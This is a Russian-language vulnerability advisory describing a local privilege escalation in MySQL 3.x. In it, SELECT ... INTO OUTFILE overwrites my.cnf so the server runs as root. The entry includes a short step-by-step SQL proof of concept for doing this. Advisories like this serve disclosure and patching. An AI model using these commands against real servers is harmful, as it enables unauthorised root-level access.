Изменение MySQL пользователя

Дата публикации:
11.03.2003
Дата изменения:
06.05.2008
Всего просмотров:
907
Опасность:
Низкая
Наличие исправления:
Да
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Локальная
Воздействие:
Повышение привилегий
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
MySQL 3.x
Описание: Уязвимость обнаружена в базе данных MySQL. Локальный пользователь может заставить mySQL запускаться от любого пользователя, включая root.

Как сообщается, локальный пользователь может использовать операцию “SELECT * INTO”, чтобы изменить my.cnf файл и заставить mySQL запускаться под любым пользователем, включая root. Пример:

mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT
Уязвимость проверена в MySQL 3.23.55, возможно другие версии также уязвимы

Ссылки: MySQL user can be changed to root